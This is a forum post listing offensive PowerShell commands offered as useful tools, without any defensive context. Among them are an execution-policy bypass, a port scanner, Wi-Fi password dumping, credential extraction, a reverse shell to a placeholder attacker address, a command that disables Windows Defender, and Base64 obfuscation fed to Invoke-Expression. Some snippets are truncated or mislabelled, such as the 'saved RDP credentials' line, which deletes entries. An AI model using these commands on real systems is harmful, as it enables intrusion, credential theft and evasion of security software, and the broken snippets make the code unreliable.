jlnelmes
Play-to-Earn Innovator
LEVEL 1
200 XP
Here are some PS commands that may be useful for you
Execution Policy Bypass
Enumerating System Information
Extracting Network Configuration
Listing Running Processes with Details
Scanning for Open Ports
Retrieving Stored Credentials
Executing Remote Commands
Enumerating Domain Users
Extracting Wi-Fi Profiles and Passwords
Creating Reverse Shell
Disabling Windows Defender
String Obfuscation
File Path Obfuscation
Base64 Encoding for Command Obfuscation
Extracting Credentials from Windows Credential Manager
Extracting Saved RDP Credentials
Execution Policy Bypass
Code:
powershell -ep bypass
Code:
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *
Code:
Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer
Code:
Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending
Code:
1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }
Code:
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password
Code:
Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)
Code:
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate
Code:
netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }
Code:
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535...
Code:
Set-MpPreference -DisableRealtimeMonitoring $true
Code:
$originalString = 'SensitiveCommand'; $obfuscatedString = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($originalString)); $decodedString = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($obfuscatedString)); Invoke-Expression $decodedString
Code:
$path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz')); Invoke-Item $path
Code:
$command = 'Get-Process'; $encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)); powershell.exe -EncodedCommand $encodedCommand
Code:
$credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password
Code:
cmdkey /list | Select-String 'Target: TERMSRV' | ForEach-Object { cmdkey /delete:($_ -split ' ')[-1] }